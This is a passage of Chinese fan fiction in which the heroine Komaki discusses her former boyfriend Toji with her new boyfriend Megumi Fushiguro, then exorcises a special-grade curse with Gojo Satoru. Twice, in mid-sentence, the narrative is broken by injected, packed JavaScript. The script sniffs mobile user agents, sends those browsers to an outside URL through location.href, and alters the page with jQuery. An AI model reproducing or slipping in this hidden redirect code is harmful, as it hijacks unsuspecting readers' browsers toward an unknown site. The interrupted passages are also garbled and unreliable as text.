“在知道他有读心术以后我就马不停蹄离开了他家,说来我还说了一些欢迎他过来玩的话。或许有一天……算了,如果他见到你大概我就会被打为变态了,暂时还是不要见到齐木同学比较好。” 说到这里,小莳有亿点点心虚,很快又被前男友不在这的事实消解,“一切尽在掌握之中。伏黑呢,以前是怎样的?” 伏黑惠就说起了自己在家里钱快花光的时候遇到了五条悟,在国中三年级因为姐姐的诅咒才决定加入高专。 “你之前和我说一直都知道要做咒术师,所以和初中同学没什么来往的。” “……那只是,不想你觉得我很孤僻。”而且就算津美纪没有受到诅咒……在五条老师的劝说下大概他还是得入学高专,老师他,是会排除万难向目标前行的人,而他所看到的未来,大概是一场史无前例的变革,自己应该已经被列为后备役了,不会被轻易放过。 “啊?你还真是个拽拽的学生吗?我只觉得性格略微寡淡而已。”直觉出错了?不过这样也很有趣,“看来我还要更加努力了解你才行,完全没有见过你不好说话的样子,希望以后也不要见到。” 本以为交往后一切就会安定下来,可作为男朋友的第二天,伏黑惠发现,只不过是另一场心跳冒险的开始,小莳是二人中富有激情又擅自决定一切的领航员,他只好颇为克制又意义不明地否定:“没有。” “伏黑,我们来接吻吧。因为你总不愿意说话,可是身体是不会骗人的。”她算是明白了,又交到一个哑巴男友,贝壳似的。 小莳在男朋友耳边说完这话,捏住他的下巴使他侧过脸来,四目相对,发起倡议:“现在乘客只有我们两人,不发出声音司机是不会特意回头的。” “……” 被亲吻的人没有发出任何反对意见,逾期视为同意,小莳数完倒计时,更深入这个吻。 * 到最后也没让小莳把称谓改了,她还是管他叫伏黑。 从公交车上走下来,伏黑惠一言不发地跟在小莳后面几步,脸上的热气山风也吹不熄。 才过了一个晚上,路上的树就少了几颗,而土壤和路面都已经修复完整,好似这里本来就是这样,应该是伏黑向高专报告了此事。 她回过头,又和目光没离开自己背影的小男友来了个对视:“伏黑,你做饭好吃吗?” 很一般,只能是普通家常菜的程度。 小莳从他的脸上看出来了,她善解人意的没有就问题再说什么,只是体谅地宽慰他:“没关系,我做菜也难吃。”早点出门,直接去并盛商业街买吧。 目标并没有感觉被安慰到。 “那个人,伏黑甚尔,他……厨艺很好吗?” 小莳难得听他主动提起,又是这么个问题,这会脑瓜运转飞快:“还不错,但这不重要。已经是另一个世界的故事了。” 伏黑甚尔烧菜很具个人风格,味道不错,但不接受指导,正如此人倔强的性格。小莳在大部分时候提出的意见他都不予采纳,跟着菜谱都能做出标准答案以外的味道,差强人意。世界上能无条件纵容她的,大概也只有奈亚。后来她就学会了一吃一个不吱声,为生活和睦付出了太多。 中间鸡飞狗跳,现在苦尽甘来了,好耶。果然坚持到后天一切都会好起来。 伏黑惠听到的是:喜欢,好吃。因为被小莳挑剔的食物最后都不会进她的口,而在被邀请一起用餐的日子里,他也能听见点评大师小莳对饭菜的评价与建议,而奈亚都会一一点头应下,按照她的意见进一步修正。 她不是会忍气吞声的女孩,又对物质要求极高,而那个男人会像奈亚一样完全迁就他。伏黑惠心里有了答案,攀比之心被狠狠打击。他知道自己并不是好脾气的人,也不太会说话。 他重新迈开脚步,面上没有特殊表情:“好的。”得益于优秀的自控力和不遗余力的自我克制,他看上去就像是得到了答案就不在乎一样。 “所以说伏黑,”小莳拍了拍额头,在伏黑惠路过自己身边的时候拉着他:“作为男朋友,在突然结束对话之前至少留点线索给我嘛!” “没事……” 小莳一点也不想听他讲在脑子里过了20圈逐渐脱离本意的矫饰之词:“谎言是人类的天赋技能,然而即为天赋也有高下之分。在幻术的世界里一旦欺骗被识别,【知觉】就会因反噬而完全被另一方掌控,你可不要在我面前说什么班门弄斧的话。我不想听。” 伏黑惠很乖巧地闭上了嘴,跨越第三重门,他才开口:“小莳很喜欢他吗?” 出现了,果然是恋爱逃不过的前任问题。 小莳在之前就有猜想,可如果主动提起会很尴尬,显得自己好像还在意伏黑甚尔,她可不想让伏黑惠误会自己对他生父余情未了,而且坦白说两人五官有几分相似,被当成代餐狂魔变态就糟糕了。 “不喜欢也就没必要在一起,我可不是那种恋爱失败就会拼命说前任坏话的没品家伙,我以前确实喜欢过甚尔,但后来我决定不要喜欢他,再后来过了几个月就分手了。” 既然对方问了,小莳觉得自己可以再多说点,本来这关系就复杂,没必要自己也做个贝壳。她说了自己在京都的一年,强烈要求去米花的时候碰到了新鲜热乎被18岁五条悟干掉的伏黑甚尔,他成为了助理。在那之后她发现了对方对自己的好感,拒绝,他就离开了。 “甚尔他,在我看来已经没有能力爱上别人了,这不是他的错,但我也不想在这样的人身上消耗感情,毕竟在那个世界,我什么都没有,也自身难保。两个穷鬼互相取暖还是挺可悲的,我不想成为那种存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413134|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。”小莳回想起旧时的事,恍如隔世。“但是后来我被绑架了,仅仅是三个成年男性,我的体术伏黑你也知道……作为没有火炎和咒力的普通人,如果没有甚尔突然出现我是真的会死掉,错估了装备,我干掉了大哥二哥,最弱的那家伙身上家伙倒是不少。” “我那时已经站不起来,难以动弹,那绑匪又害怕,如果……尸体都会被子弹打烂吧。再然后甚尔还顺便帮我承担了一下大哥二哥的法律审判。”小莳习惯性讲起了地狱笑话,被男友捏住了手,停了下来,做了个总结:“虽然在很久之前就决定不再喜欢,但我亏欠不少。要说失败的恋爱,其中也有我的些许责任,从最开始我便知道他是怎样的人,即便如此还是在一起了,是我的错。早知如此,就该一直亏欠着他,反正是难以等价偿还的恩情,受着也好,好过最后见面连招呼都不能打的有失体面。” 小莳又想起了那天隔着克丽丝·温亚德的车窗,和前男友稍纵即逝的对视。叹气。她可不是习惯亏欠的债务人,一般都是她慷慨解囊,遇到伏黑甚尔算是头一遭。幸好以后不大可能再见了,不然她绝对会像上次一样落荒而逃。 “……”恩情。伏黑惠也是受过恩惠的孩子,所以对五条悟的认真要求他从来不拒绝。他理解和相信小莳说的一切,如果伏黑甚尔真的像她想的那般人在米花就好了。 可是他不在,万圣节那晚五条悟和自己亲眼见证了那人的到来……五条老师与夏油杰关系亲密,两人又都和小莳交好。那就是他们共同隐瞒了这件事,现在,伏黑惠也要做出自己的选择。 涩谷那天,伏黑甚尔那时举起右手,他听见了自己的姓氏。那时的他是想要自我了断。后来发生了一些由五条老师出现引发的陈年旧事旧账,他还是以死亡解除降灵仪式。最后,仪式结束,他本人到来了。那男人很强,降灵术后的的暴走也没拦住他恢复意识,他说“不姓禅院,真好。”再后来也帮忙干掉了几个诅咒师……小莳也许说得对,他的爱是一生中稀罕的资源,再多就只能以死亡的重量加码。 这就是伏黑惠对于自己所授与到的父爱的全部理解,他不再不平,不再怨恨,亦不再宣称自己并不在乎。他想,对不起,父亲,我向你道歉。 如小莳所说,难以偿还的恩情就一直亏欠他好了。伏黑惠也决定加入五条悟和夏油杰的隐瞒,选择了自己所认为非正义的选项。 “嗯?你在想什么?”伏黑突然怪怪的,也不吱声。小莳觉得自己言语并无越界,不该引起这番反应。 伏黑惠没说话,只是突然将小莳揽到怀里,不让她看到自己的表情。 浅谈前任话题给现任说到真情流露了?不应该是这样,但一时之间如雾里看花也想不明白。小莳暂行跳过此项议题,又主动说起给人安全感的话。 “在去年冬天有一次去露营,他和我说起你的名字和含义,我很惊讶,一个抛弃幼儿的男人说起起名时的美好祝福,那感觉荒谬又滑稽。他不像是我以前见识过的那些虚伪的蠢货。” “于是我问了他,得到的回答大概是说妻子的死令他心灰意冷,世界都黯淡。回答的内容让我有些难过。” 小莳顿了顿,感受到腰间的力道些许收紧,才接着说:“但是,并非是为你的母亲和为你,很难说我会为只言片语里的陌生人而伤心。在那时,我只是因为他曾经真心实意并且直到我们在一起的时候还爱着另一个女人而不愉快罢了。” “切实体验过这种不快,我不想让你觉得和你交往后我还在想他,令你遭遇相似的事情。”她将下巴搭在男友的肩上,细细与他将此事说明白,“昨天的事情,仅仅只是因为我对你的好感,伏黑。我觉得你很好,喜欢你。恋爱这不得趁着新鲜热乎谈,一刻也不能多等。” 被搂的呼吸都不顺畅,小莳只能听见耳后传来他低低的声音:“惠,叫我的名字。” 从善如流:“好哦,惠。” “嗯。” 过了有一阵子,小莳问他:“惠惠,你什么时候松开我,我想回宿舍休息。” 两人重新牵手开始走路。 “他有和你说过我吗?” “你对父爱的认知有偏差,我的意思是,几乎没有。”小莳补充了一下,“就算他说过,3岁小孩的信息也只会滑溜溜经过我的耳朵,简单来说,我们都不是很在乎。” 那男人入赘伏黑的时候他已经小一了,哪来的3岁。而且小莳这副满不在意的态度……这算什么,杀手的默契? “呀真不敢相信,在小惠3岁的时候我还是个女高,转眼间你已经16了!”好那个啊。 “……小莳,你别说了。”他就不应该问。 67. 第 67 章 小莳回宿舍以后就躺在了冷冰冰的被窝里冷若冰霜地玩手机,完全丧失了年轻人应该有的青春活力。一晃时间到了下午四点。 真希发来消息:真依给你心动对象送礼物了,不来看看吗?操场。 领导同事在天堂:等下,我找野蔷薇有点事。 小莳退出聊天页面,找到野蔷薇,开始给她发消息。 领导同事在天堂:今天你有空的时候我可以去你宿舍,冰箱。 领导同事在天堂:哦对了,我和伏黑在谈恋爱,和你说一声(*/ω\*) 然后她才回到和真希的消息界面。 领导同事在天堂:现在是男朋友了^_^ 操场上,和同学们坐在一边的钉崎本来很无聊的围观伏黑被送礼与秋波,不,伏黑绝对不喜欢禅院真依,她回忆起伏黑面对其他人和小莳的表情……比照现在一副臭脸。 无所谓,听虎杖说今天中午小莳还去市区找他了,进展不错嘛这小子。 真希前辈在旁边摆弄着手机,虎杖在和东堂玩什么你追我逃的无聊把戏,她也点开自己的手机,然后…… 真希发出消息以后,立刻得到了回复,她刚想回复野蔷薇也在操场,就听见旁边传来一声惊呼,以及手机磕到台阶的声音,是野蔷薇:“怎么了,小莳和你说什么了?” 反正肯定和小莳有关。 “诶,真希前辈,就是……没什么。嘿嘿。” 真希对学妹这副藏着掖着不肯说的态度有点不满,但很快她也惊到了。 小莳回了她消息。 真希:喂!不是吧,你们进展这么快吗? 领导同事在天堂:因为我是一名办事效率高,不留事情过夜的干练女子。 真希看到这条消息以后又看到学妹低着头兴奋地在手机上敲敲弄弄,一个想法诞生在脑中,她一步坐到野蔷薇旁边:“小莳是不是刚才和你说了?” “诶?”钉崎野蔷薇不确定真希前辈所指是不是她心里所想,她试探性发问:“你是说?” “就是那个那个。”真希指了伏黑惠和真希在的方向,现在伏黑惠在蹲下从售货机里拿东西。 “你是说小莳和……” “没错。” 对上暗号以后,野蔷薇神色暧昧地朝学姐点点头。 “为什么她要先和你说啊!”真希不爽,聊到一半去找野蔷薇了,这合理吗?真希不服,明明是她先来的。 野蔷薇嘻嘻笑,晓得学姐这是有点吃醋了:“大概因为小莳和我们出任务还有出去的次数比较多,不过小莳立刻也告诉真希前辈你了,所以你也是有被放在心上的哟~” “谁在意这些!” “真希和钉崎,在说什么悄悄话?” “没什么!” “鲑鱼子?” “真的真的,你说对吧真希学姐?” “……啊,对。只是在说小莳的事情。” * 被议论的对象在收拾收拾出了宿舍以后被五条悟捕捉。 “哟,小莳,有没有兴趣去和我探险?” “梦回涩谷了,悟,不要学我说话。”并非是偶遇,五条悟有备而来的时候往往都不会走空--他总能实现目的。“什么事?” “小莳,冷冰冰,你以前不是这样对我的。”五条悟噘嘴,透明的润唇膏在阳光下润泽得闪闪发光。 “第一次看到你摘下眼罩觉得好看,后来才逐渐发觉美人也有黑心肠。”五条悟戴着墨镜,小莳也是后来才知道眼罩对他的身体负担更小,而他大部分时候戴墨镜来见她都是特意而为,今天也不例外。 一款字面意义上的美人计,小莳吃吃吃吃吃吃。 “纲吉君明明把你托付给我--” “停停停,在我们昨天分别以后,发生了一些事情,我觉得现在是时候告诉你了。让我们首先恭喜杰的后半生幸福不会受到诅咒。”小莳说完自己啪啪啪开始鼓掌,在五条悟想到了什么但是不可置信的神情中,“我们两个人中有一个人脱单了,猜猜是谁?” 五条悟再也不愿意笑着带小莳飞了。他言简意赅地说明了任务情况,有个咒胎里新出现的特级,可能是吸收了宿傩手指终于长成,现场封锁良好,因此有闲暇叫上小莳一起。 “你的反转术式怎么样?” “马马虎虎,家入医生说想精通反转术式需要的不只是咒力操控,工夫更在平常理论知识的学习,这周我实在不愿意看书,明年吧。”如果把人体当做一个冰箱,那么物理损伤就类似于冰箱门打不开了,或者磕碰到了,咒力操控得当就能修复,小莳现在做不到虎杖所说的宿傩随手就断肢重生那样的事情,但假以时日未必无法企及;而如果是更精密的损伤,比如胀相的毒进入血液循环,就好比是冰箱的冷凝器故障而导致无法运行,这种情况至少要清楚相关的原理才能修复--单纯的使用反转术式是没有办法治好的。 小莳今天正好造了个冰箱,而幻术的作用方式也与反转术式类似,至少要明晰原理才能模拟出效果,精细化工作从不是她的短板,早晚能成。 听说家入医生当时高中就伪造了考试资格去参加注册医师笔试,最终还成功取得证书,太酷了。 “差点忘了从小莳掌握反转术式到现在也只有一周多。最近太忙了,感觉时间过得好快。”五条悟又开始抱怨高层,念叨着什么豆沙了,实际上也只是嘴上说说,他投鼠忌器。 世界上好人总是左右为难。 小莳安安静静听他借着撒娇发泄负面情绪,载人飞行这方面五条悟是越来越擅长了,她被揪着领子也没觉得很不舒服,只是有些高,风不小。 在她14岁上任的时候,彭格列早就在兄长的带领下走了十年,这三千余日在九代目和守护者的帮助下,该整改的问题大都整改完了。变革初期推进的艰辛和后期繁琐的扫尾小莳都没参与,然而在她上任后,目之所及仍有顶风作案的情况。没办法,利益驱使下,鸟为食亡。 五条悟是最强但这不意味着他不会感到疲惫,屡见不鲜的腐败与邪恶总让人反思起意义,而有关意义的探索终归会让一切走向虚无。 她想,悟并不需要有人给他建议,不然他大可以打电话给在职十余年的阿纲,这时她听着就好。 在没有障碍的空中凭借无下限术式他们飞得很快,原野、山脉、河流,脚下的景象飞驰。 “我们这是要去哪里?” “长野北部,高原滑雪场。”言简意赅。 “???”志贺高原是不是远的有些离谱了,“今晚还能回去吗?” “最后一班大巴晚上五点离开度假村站台,小莳四十分钟能解决的话还来得及回去,不过交通要6个小时吧。”五条悟回答得轻轻松松,“但我定了温泉旅馆,明天直接去并盛嘛~” “你给我退了,把我原原本本送回高专啊喂!”这么远的地方他居然20分钟就能到,还想不带她回去?五条悟疑似发癫。 “冬天不想泡温泉吗?说起以前的朋友的时候小莳明明很期待温泉和酒的。” “那也不是现在!而且我也没想和你一起泡温泉,你放开我。不是让你真的放开!!你要杀了我吗朋友?!” “诶,小莳想和谁泡温泉,难道是me~gu~mi酱?”田所惠也是惠,伏黑惠也是惠,五条悟记忆力特别好。 小莳没留情就着把自己捞起来的胳膊在他头上敲了一下:“你有病吧!”她错不该把自己的交友状况和五条悟说,早知道还不如做一个“没有朋友的孤僻美女”。当时她做什么要和五条悟说那么多,下次带风纪财团的人出去泡温泉不邀请这个家伙! “好痛!小莳补偿我,那么就通过袚除咒灵后的深夜lovelove聊天来抚慰我破碎的灵魂。” 不了,婉拒了,小莳观他这出人意料的病情,想他应该是有什么想说的话,但是小莳担心自己克制不住想要在他正式发作前把人打死。她说:“只要你从现在开始起24小时保持正常我就听一听你的请求如何?不管你想说什么我都不会嘲笑你的。” 比起不知所谓的左绕右绕,不如直接切入正题。对方并不领情。 “呀,小莳对我真是越来越没耐心了,好难过,掉小珍珠了。” 冷酷无情的女人在五条悟的纵容了改换了姿势,她现在趴在五条悟背上了,主打一个摆明态度的不信任:对方放手也掉不下去。 全身重量压在五条悟背上,小莳说得相当郑重:“要是真没耐心我会一走了之。我对你够好了,五条悟,盼你不要身在福中不知福。” 在五条悟点名主旨之前,两人到了被封锁的滑雪场。 支走想要留下放帐的辅助监督,小莳自己放了一个,然后和五条悟向山上走去,严格来说并非步行,而是乘帝女雀。 两人的话题没有继续围绕着五条悟轻浮假面下的真实目的,而是倾向于朋友间随随便便的闲聊。 “这小家伙也是你的造物?” “不,它更像是单纯的匣兵器。不过比一般的匣兵器更通人性,我15岁的时候亲手设计的。是作品。”不是造物。 十二月的雪场温度很低,此时太阳都快落下,仅剩的红照的天边都燃起火光,隔着一层漆黑的帐,空无一人却有着不少滑板印子的雪地就像是自残者失去肉色但深浅烙印的贫血白胳膊,横陈在夜幕将近的红与黑下。 像是要随他一并睡去,甚至永眠。 说到雪地,小莳会想到的奇闻中偏日本风格的就是雪女,她笑着和五条悟猜测今天的咒灵会是什么形态,来源于什么样的怨气。 往诅咒气息浓郁的地方走,话题一会又转到帝女雀的身上,五条悟对她总是很好奇,可平常他们不总能聚在一起,主要是因为他安排太多,涩谷以后日程表被填的更满了。 小莳没忍住,讲起了小孩子不能听的笑话:“宝宝,你是一只breadpapas小泡芙。” 2018年的五条悟没办跨时空理解小莳话里的意思,他只是配合露出了甜蜜的表情:“你叫我宝宝诶~” 小莳不想在这个话题上行得太远,她回到了对方好奇的问题:“奈亚是我唯一的造物。再各个不同的神话和宗教信仰中,人类都是作为万物灵长,起源基本都是造物主的杰作与宠儿,所以造物是有生命的存在。想必你能分辨的清这些不同词汇里的差异。这件事情并没有得到广泛的流传,但是让你知道也无妨,奈亚是一个即使离开我也能独立存在的【生命】,而帝女雀和我的其他匣兵器则不行。” 原理不明,难以复刻再现,不过她并没有那么多多余的好奇心,也不想用尽一切方式投入到有关此的研究上,小莳的兴趣就和她的性格一样,一阵一阵的,而研究需要经历无数失败和勘错,也许穷极一生也只能得到微不足道的成果。小莳暂时不打算追随海市蜃楼,她更情愿生活。 五条悟被她话里的含义震慑到,当谈及到创造、培育生命的时候,即便是一些杰出的科学家也不否认生命的本质也许只是造物主神明的缔造……那创造出生命的小莳又是什么呢? “夜蛾校长三十多岁才做出了熊猫,小莳那时候几岁?” 她朝五条悟交叉两手食指:“10岁哦,咚、咻的一下就做出来了。”嘻嘻,因为是天才嘛。 还真是,令人惊叹的才能。 五条悟总是会和学生们说“你们以后也会有老师一样的实力”“你也有独一无二的天赋哦”可他从来都有一份天上天下唯我独尊的自信,总是将最强挂在嘴上也是因为他发自内心如此相信。 他有时也觉得孤独,尤其在夏油杰死去的一年里,虽刻意封存记忆不去想不去回忆,合眼时偶尔也会有挥之不去的阴郁气息。 从涩谷那晚以后一切都变了。事后想来,应该都是这个形貌、性格都与自己有些相似的女孩的缘故,五条家的人,即使是他的父母也没让他产生过同类的感应,而……小莳简直就像是平行世界的他自己! 五条悟雀跃的想要更加靠近,她也从不排斥,纲吉君也是很好的朋友,加上挚友夏油杰,简直是三倍的快乐。 “能在地铁站捡到小莳实在是太好了。”他掀起墨镜,露出流淌蓝色星海的一只眼,“小莳如果现在加入五条家我就做出违背祖宗的决定分你一半家产。” “第一,你没有捡到我;第二,如果让我做家主我就考虑;第三,如果你加入彭格列的话我就把明天的早饭分你一半。”实际上也没有买明天的早餐。 五条悟直呼小气,小莳笑眯眯地告诉他关于早饭的真相之后他更是下定决心要闹小脾气。 特级咒灵没有什么悬念,并非是神话怪谈,就只是咒胎里诞生的单纯特级,五条悟评价:“和少年院那次的有点像,嘛,可能聚集而成的合成物都一样。”小莳被撵着打,无暇聊天。 这东西速度很快,小莳有点难以招架,但就像工作在最后关头总会极限的做好,最终事情也就船到桥头自然直,然后……轻舟已过万重山。 她用一把钩锁勒住了这个咒灵,一枪穿过它的腹部,两面宿傩的手指就这样落在了地上,不成气候的咒灵也失去反击能力,袚除。 “什么嘛,还是没有领域的迹象。”五条悟小声嘟囔,唯一的听众眼皮一抽,这人颇有里包恩当年严师风范,主要是传闻--因为她长大以后严师也成嫂子,据说教学风格已经发生巨大改变。 “虎杖这孩子一定不挑食。”什么样的精神状态才能把这东西吃下去,小莳蹲下来看了一眼形似腌鱼条的赤腊色手指,萎缩的皱皮上饱吸咒灵的血液,完全是诱人的反义词,“忍不住就触类旁通的联想到肛肠科里别开生面五花八门的小事故。” “……”完全想不到小莳是怎么勾连上关键词,五条悟听得眼皮直跳:“消化系统被你从头想到尾,一脸正经地说出了好可怕的话。” 主要是基于‘什么东西都往里塞’这一点做出的合理联想,小莳很遗憾五条悟get不到其中的共性,她不想碰这个手指,招呼同伴来:“你来收集,不卫生,不想碰。” 五条悟使用无下限妥善收纳了宿傩手指后,再次和她确认:“真的不想留下吗?那可是冬天的温泉,热腾腾的蒸汽和皑皑的白雪,仅仅是想象到这种画面就会觉得要化在水里了吧!” 小莳假笑:“完全没兴趣,我意大利人不懂温泉。” “托斯卡纳被你吃了吗?阿米亚塔山附近可全是。” “全年免费的皮和露天温泉开放景点的馅构成了下饺子的奇景,干净又卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413135|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”小莳解除了帐,“说真的,你买个浴缸都更靠谱,今天我想和与幸吉聊两句。”顺便看一下男朋友是否还安好。 “其实你就是想去见惠吧!”他如是指控。 小莳也不否认,拽着五条悟的袖子让他蹲下来点,然后往他背上贴,“驾。” ……又来。 五条悟的小脾气指的是,他带小莳来到了精神故乡仙台,但是没买喜久福,找了家泡芙店并威胁小莳不买单就抱着她的腿大哭。 什么都泡芙只会害了他。 怎么说呢,小莳看见五条悟的表演,便开始反思以前自己是不是也挺难带,当五条悟真的开始胳膊横在眼前并且发出呜呜呜呜的叫声时,小莳跳起来打她的头,并在心底完全否认了这一提案:她可是完美的,五条悟其人能力与相貌盛大而惊艳,可糟糕的性格偏生让他有了点功能性障碍,综合来看比她差远了,哼。 “帮你买帮你买,要吃多少都给你买,行了吧!别忘了你怀里还有给虎杖的宵夜,趁热带回去给他吃了。”这东西在市区里发烂发臭可不好,下落不明十余年的公德心归位,小莳为自己的高尚品质沾沾自喜。 正好漏买的明日早餐也有了着落,问就是庙算无遗策。 小莳忽略了真希和与幸吉发来的问候,只简单的回复一下野蔷薇关于冰箱的爽约:被你五条老师拉壮丁,晚点回。 然后是发消息给伏黑惠:我明天吃这个【图片】,众所周知泡芙没有咸的,你有什么想吃的吗?这条街上店不少。 小莳依着他的回复合自己的心意购买了旁边面包店的咖喱牛肉包,因为伏黑惠扭捏地回应自己可以吃泡芙。他根本不爱吃甜。 面对五条悟的悠悠荡荡饱含怀疑的眼神,她淡然而坚定:“我喜欢咸甜混搭。” 他也没说信不信。 五条悟左手拿着自己的袋子,右手拿着小莳的,背上还挂了个人,小莳对他偶尔成熟像大人一样的担当很满意:“差点就和七海海一样可靠了。” 换来五条悟不满的抱怨,以及他让小莳代发信息通知虎杖来校门口。 “烂橘子都是保守派,想最后一口气给悠仁喂完手指然后处决,嘛这种事情我怎么可能听他们的。但为了给悠仁少添麻烦,这种事情就不要在公众场合做了,显得他好像和我们同谋一样。” 小莳觉得他表述有误,她什么时候加入了“我们”,没听说啊?但是五条悟看出她的不满,一句:“小莳,我会哭的。”,她就坐在高专台阶上发起了消息。 半分钟后,无事发生。 “以虎杖的速度应该很快就会过来的,可能是没看到信息。”小莳用目光无声发问,怎么办? “嘛,我们来聊天!” 这顺理成章的态度构成了100%的怀疑要素,小莳开始配音和自己做注脚:“咯噔,这是心脏发出的声音,嘴巴只是代通知一下。”她这么说明。 “小莳的感知能力有点弱,宿傩手指上的强大咒力一点也没有影响到你吗?”五条悟从怀里掏出特级咒物,在小莳嫌恶的眼神中在她面前晃了晃,“要不要玩?” “……所以说肛肠科--” “好了好了,让我们进入正题。”五条悟打断她,“真是对于波动一点也不敏锐的傻瓜,这些都分摊给直觉了吧。”直觉准的要命,真是偏科严重的天才。 “如果你的正题就是要说我是傻瓜的话,那我就告诉你一个令人遗憾的消息。”小莳的意思是:你说话注意点,小子! 摘下墨镜,双手插兜俯身,将小莳笼罩在自己的阴影下,他眼角带笑否认:“当然不是,我可是GreatTeacherGojo,只是在给悠仁做未来的计划而已,具体等我想好了再和小莳说,但你对宿傩很忌惮吧,对吗?” 他这么一说小莳就知道插科打诨结束,是真的要聊点严肃话题:“是这样,我后来去网上查了资料,发现传说中他是被吹得很厉害的人类反贼……我的习惯是当官方书上出现神佛的时候务必警惕,因为我其实是个无神论者。”说到这里小莳自己都笑了。但她很快又正色。 她承认:“先得道成佛,然后堕天。我看很多大妖怪的故事都波澜壮阔得多呢,没什么稀奇。但是他给我的感觉实在不好,我有点害怕。”承认自己会因为未知的某事而胆怯并不成为小莳的困扰,她一向有杀手特有的而看淡生命的觉悟:作为人类,无论多么强大,只要砍下头颅,掏出心脏,一生就结束了。反转术式扭转了这一论断,但它在大部分时候仍然行之有效。 “我觉得我有可能会被他干掉。螳螂捕蝉,黄雀在后,谁又敢说自己有朝一日不会成为他者的猎物呢?两面宿傩绝对是个危险的东西,如果你那天没去买喜久福就好了。”小莳摊手,五条悟的生活很忙碌,连轴转之余总要有私人的时间,只是她还是会忍不住设想,“不过感到害怕并不意味着无法作为,目前虎杖还不错,只除了那次复活的束缚内容只有宿傩知道……是未来发生的事情,都没有定数,这对我们都好。” 有害怕,但一切尚在可以接受的程度内。 五条悟听了她的话,思索起来,凝视她:“小莳如果觉得很不妙的话就糟糕了,还有什么想说的吗?” 小莳觉得自己面对特级咒灵的时候都没这么紧张:“虎杖怎么了?”更重要的是五条悟这个暧昧的态度,很难猜出他到底想说什么。 “呀,真是敏锐,我--”远方尘土扬起,有一道身影急速靠近,“下次再聊。” 虎杖悠仁来了。打断了一些可能会引起某种后果的谈话,他是个乖乖学生,捏着干瘪手指,仰着头,舌尖一卷--一场酣畅淋漓的特级咒物收容工作就此结束。 小莳亲眼目睹了吃播现场,本来想晚上吃点泡芙的,突然没胃口了。然后是遥遥被甩在后头的伏黑惠和钉崎野蔷薇,她看到赶来的同学后,回头向五条悟拿自己的袋子,却发现他嘴边可疑的痕迹。 “……你吃的什么。” 人民教师言简意赅:“泡芙。” 虎杖悠仁举手提醒:“五条老师,你嘴角沾了东西,好像是土豆屑。” “是一种名叫咖喱的卡仕达酱啦~” 小莳被口水呛住:“你跟学生抢早饭也太坏了,这是我买的唯一一个面包!!”现在没了。 “那好学生也不应该挑食,小莳的咸甜搭配有道理,我会向小惠热情推荐芝士抹茶味。” 小莳没指望自己随口的敷衍能瞒过五条悟,只是也想不到这人会做出偷吃的事情来,她4岁的时候就不这样了,他现在29了。 扯过他手里属于自己的袋子,果不其然里面本该有的全家福泡芙少了一个:“我们买的明明是一样的套餐,这你都要从我袋子里拿?” “运输费,承蒙惠顾!” 小莳直接转头不理他,对男友和野蔷薇打招呼:“嗨,下午好。”天已经快黑了。 她没说关于面包的事情,但看几人的表情已经透彻理解了事情经过……五条悟平常到底是怎样的教学状态,学生们被他断断续续教了不过半年吧,到最后唯一对他抱有尊敬之心的人只有天然系虎杖。 啧,一届三学生,背刺率高达66.7%,真心建议高专出个评教系统,就算是御三家家主也差评给你看。 68. 第 68 章 分给野蔷薇一个泡芙后,小莳久违地感受到被窥视。 ……她的五感一向不如专业人士灵敏,也还尚未养成随时用咒力强化身体和感知的习惯,托这个福,小莳可以轻易排除其他干扰项,确认了这不妙的感觉源于宿傩。 大概是下肚吸收以后增幅造成的影响。 有点汗流浃背,在场其余四人中大概能明白她暗示的只有五条悟,小莳不计前嫌的站到他身后,然后将他往虎杖的方向推了一下,没推动,有无下限。 “?”五条悟的眼睛裸露在外面,向小莳投送来清澈愚蠢的困惑。 小莳脑袋了过了一圈猜想,再推了他一下,直到她的手掌触碰到一片与男友校服材质相同的布料,她朝五条悟微笑,意思是:你去把虎杖带走。 五条悟也朝她点点头,开口却是故作恍然大悟:“小莳,你想摸我!” 他明明什么都知道,就是要皮一下。 她是不在意这些肤浅带着挑衅意味的调侃的,甚至还能回两句,但她还记得自己的男朋友在旁边,讨厌一些没有边界感的大龄问题儿童。 “惠,我想你了。”带孩子好累啊,她抱着对象不肯撒手,“被你老师拉过去打黑工,袚除了一个特级,我是自费打工第一人。” 伏黑惠脸红着回抱小莳,等五条悟很快带走虎杖后现场就只剩野蔷薇一个电灯泡。 她可不是五条悟那种没眼力见的讨厌鬼,转身就想走,被小莳叫住。 她还没忘掉约定。 野蔷薇的宿舍在小莳一开始没选的院子里,她和二年级的前辈们靠得近,对门就是真希的屋子,小莳动动手指为她装了冰箱,还听了小道消息。 高专近几年的设施更新的很多,虽然比城里的学校还是差太远,但其实这些也都是五条悟的功劳。 “那我愿意把自费打工第一人的称号送给他。”校舍翻新设备更迭可是好一笔开支,“他有考虑过给自动售货机和盒饭进行改造吗?” “完全没有。”伏黑惠向她解释五条悟每个月有一半的时间都在东京以外,另外一半时间会去其他地方买吃的--他从不吃高专。 这么说来他出勤率和赤司征臣似的,怎么有的人至少还能给学生留下深刻印象,有的人就只能留下个剪影捏。临近年关,免不了想起家人,小莳在心里把亲爹批判了一顿。 想念征十郎。 但是不想回去。 米花总有种世界中心既视感,什么CIA、FBI黑衣组织主线都在那,指不定又能碰见女明星,这倒是无关紧要,小莳不太想碰到女演员的助理。 